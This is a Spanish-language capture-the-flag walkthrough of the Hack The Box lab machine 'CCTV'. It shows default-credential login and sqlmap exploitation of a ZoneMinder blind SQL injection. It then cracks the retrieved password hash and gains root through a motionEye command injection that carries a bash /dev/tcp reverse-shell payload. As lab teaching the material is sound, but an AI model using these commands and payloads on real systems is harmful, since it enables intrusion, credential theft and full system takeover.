Descripción
CCTV es una máquina fácil de Hack The Box que cuenta con las siguientes vulnerabilidades:
- Inyección SQL ciega de ZoneMinder CCTV permite la recuperación de una credencial de usuario
- Reutilización de Contraseña de una credencial ZoneMinder a usuario de Linux
- Escalada de Privilegios a través de vulnerabilidad de inyección de comandos de motionEye
Reconocimiento
Primero, vamos a comprobar con el comando ping si la máquina está activa y el sistema operativo de la máquina. La dirección IP de la máquina objetivo es 10.129.2.141.
$ ping -c 3 10.129.2.141
PING 10.129.2.141 (10.129.2.141) 56(84) bytes of data.
64 bytes from 10.129.2.141: icmp_seq=1 ttl=63 time=48.1 ms
64 bytes from 10.129.2.141: icmp_seq=2 ttl=63 time=48.7 ms
64 bytes from 10.129.2.141: icmp_seq=3 ttl=63 time=47.2 ms
--- 10.129.2.141 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2004ms
rtt min/avg/max/mdev = 47.161/47.973/48.657/0.617 ms
La máquina está activa y con el TTL que iguala 63 (64 menos 1 salto) podemos asegurarnos que es una máquina Unix. Ahora vamos a hacer un escaneo de puertos TCP SYN con Nmap para comprobar todos los puertos abiertos.
$ sudo nmap 10.129.2.141 -sS -Pn -oN nmap_scan
Starting Nmap 7.98 ( https://nmap.org )
Nmap scan report for 10.129.2.141
Host is up (0.047s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 4.11 seconds
Encontramos los puertos 22, y 80 abiertos.
Enumeración
Luego realizamos un escaneo más avanzado, con versiones de servicio y scripts.
$ nmap 10.129.2.141 -Pn -sV -sC -p22,80 -oN nmap_scan_ports
Starting Nmap 7.98 ( https://nmap.org )
Nmap scan report for 10.129.2.141
Host is up (0.047s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.14 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|_ 256 76:1d:73:98:fa:05:f7:0b:04:c2:3b:c4:7d:e6:db:4a (ECDSA)
80/tcp open http Apache httpd 2.4.58
|_http-title: Did not follow redirect to http://cctv.htb/
Service Info: Host: default; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 63.32 seconds
Nos movemos a la aplicación web y añadimos el host cctv.htb al archivo /etc/hosts.
$ echo '10.129.2.141 cctv.htb' | sudo tee -a /etc/hosts
Encontramos un sitio web sobre SecureVision, una empresa que ofrece monitoreo de CCTV. Tenemos un botón para ser redirigidos al inicio de sesión del personal.
En el Staff Login encontramos un inicio de sesión de una instancia de ZoneMinder, un sistema de software para vigilancia en video. Podemos iniciar sesión con las credenciales predeterminadas, con el nombre de usuario admin y la contraseña admin.
Después de iniciar sesión, encontramos que la versión de la aplicación desplegada es v1.37.63. Podemos enumerar los usuarios registrados en el sistema desde el menú Opciones > Usuarios. Encontramos un usuario interesante, mark.

Explotación
Versiones anteriores de ZoneMinder v1.37.64 son vulnerables a una inyección SQL basada en booleanos en una función de web/ajax/event.php, específicamente la acción removetag y el parámetro tid, [CVE-2024-51482](https://www.cve.org/CVERecord?id= CVE-2024-51482). Vamos a utilizar la herramienta sqlmap para explotar esta vulnerabilidad. Necesitamos tomar nota de una cookie, ZMSESSID, de la sesión del navegador que utilizamos previamente, ya que esta es una vulnerabilidad autenticada.
Al leer la documentación de ZoneMinder encontramos que el nombre predeterminado de la base de datos es zm y la tabla que almacena la información de los usuarios se llama Users. Vamos a recuperar la columna password para el valor mark de la columna Username utilizando una consulta SQL. Ya que la etiqueta que vamos a eliminar no existe, el servidor responde con errores, por lo que necesitaremos utilizar una inyección SQL ciega.
$ sqlmap -u 'http://cctv.htb/zm/index.php?view=request&request=event&action=removetag&tid=1' --cookie "ZMSESSID=5c26lc69oadun5islruur6nj7p" -p tid --dbms mysql --technique T --sql-query="SELECT Password FROM zm.Users WHERE Username='mark'"
...
[INFO] testing for SQL injection on GET parameter 'tid'
[INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[WARNING] time-based comparison requires larger statistical model, please wait............................ (done)
[INFO] GET parameter 'tid' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
GET parameter 'tid' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n
sqlmap identified the following injection point(s) with a total of 40 HTTP(s) requests:
---
Parameter: tid (GET)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: view=request&request=event&action=removetag&tid=1 AND (SELECT 7572 FROM (SELECT(SLEEP(5)))NkOn)
---
[INFO] the back-end DBMS is MySQL
[WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions
web server operating system: Linux Ubuntu
web application technology: Apache 2.4.58
back-end DBMS: MySQL >= 5.0.12
[INFO] fetching SQL SELECT statement query output: 'SELECT Password FROM zm.Users WHERE Username='mark''
...
SELECT Password FROM zm.Users WHERE Username='mark': '$2y$10$prZGnazejKcuTv5bKNexXOgLyQaok0hq07LW7AJ/QNqZolbXKfFG.'
Después de unos minutos encontramos la contraseña en hash para el usuario mark, $2y$10$prZGnazejKcuTv5bKNexXOgLyQaok0hq07LW7AJ/QNqZolbXKfFG., la recuperamos con la herramienta John The Ripper, obtenemos la contraseña opensesame.
$ nano hash; john --wordlist=/usr/share/wordlists/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 16 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
opensesame (mark)
1g 0:00:00:15 DONE 0.06447g/s 389.9p/s 389.9c/s 389.9C/s march23..coolchick
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
Podemos usar las credenciales para iniciar sesión en la máquina utilizando el protocolo SSH.
$ ssh mark@cctv.htb
mark@cctv.htb's password:
Welcome to Ubuntu 24.04.4 LTS (GNU/Linux 6.8.0-101-generic x86_64)
...
mark@cctv:~$ id
uid=1000(mark) gid=1000(mark) groups=1000(mark),24(cdrom),30(dip),46(plugdev)
Post-Explotación
Enumerando los puertos TCP abiertos en la máquina encontramos uno en el puerto 8765, es motionEye 0.43.1b4. motionEye es un frontal web para el demonio motion, un programa de vigilancia en video con detección de movimiento. Las versiones anteriores a 0.43.1b5 de motionEye son vulnerables a ejecución remota de comandos a través de un parámetro de configuración de motion no sanitizado, CVE-2025-60787. En la vulnerabilidad del aviso tenemos instrucciones para explotar la vulnerabilidad. Redirigimos el puerto a nuestra máquina para enumerar el servicio.
$ ssh -N -L 8765:127.0.0.1:8765 mark@cctv.htb
Encontramos una solicitud de inicio de sesión:
Encontramos las credenciales para el servicio en el archivo /etc/motioneye/motion.conf, con nombre de usuario admin y contraseña 989c5a8ee87a0e9521ec81a79187d162109282f0.
mark@cctv:~$ cat /etc/motioneye/motion.conf
# @admin_username admin
# @normal_username user
# @admin_password 989c5a8ee87a0e9521ec81a79187d162109282f0
# @lang en
# @enabled on
# @normal_password
setup_mode off
webcontrol_port 7999
webcontrol_interface 1
webcontrol_localhost on
webcontrol_parms 2
camera camera-1.conf
Tenemos acceso a una camara.
Para explotar la vulnerabilidad primero necesitamos desactivar algunas comprobaciones del frontal web que verifican caracteres inválidos en campos, como los utilizados para ejecutar comandos. En el navegador Firefox usaremos la funcionalidad File Override. Abrimos las Herramientas de Desarrollador, y luego entramos en el Depurador. Luego seleccionamos el archivo main.js y con un clic derecho seleccionamos Añadir anulación de secuencia de comandos.
Luego abrimos el archivo que acabamos de guardar y editamos la función configUiValid para que siempre devuelva el valor true como esta:
function configUiValid() {
return true;
}
Luego actualizamos la página web. Para inyectar el comando malicioso, editaremos los parámetros en el menú Settings > Still Images. Cambiamos la opción Capture mode a Inverval Snapshots y el valor de Snapshot Interval a 10. Luego inyectamos el comando en el campo Image File Name como esta:
`bash -c 'bash -i >& /dev/tcp/10.10.14.137/1234 0>&1'`.%Y-%m-%d-%H-%M-%S
Luego, antes de guardar la configuración con el botón Apply, iniciamos el puerto TCP de escucha en nuestra máquina para recibir la shell inversa con el comando nc -nvlp 1234. Recibimos la shell inversa como el usuario root.
$ nc -nvlp 1234
listening on [any] 1234 ...
connect to [10.10.14.137] from (UNKNOWN) [10.129.2.141] 59982
bash: cannot set terminal process group (4127): Inappropriate ioctl for device
bash: no job control in this shell
root@cctv:/etc/motioneye# id
id
uid=0(root) gid=0(root) groups=0(root)
Flags
En la terminal root podemos recuperar las flags user y root.
root@cctv:/etc/motioneye# cat /home/sa_mark/user.txt
<REDACTED>
root@cctv:/etc/motioneye# cat /root/root.txt
<REDACTED>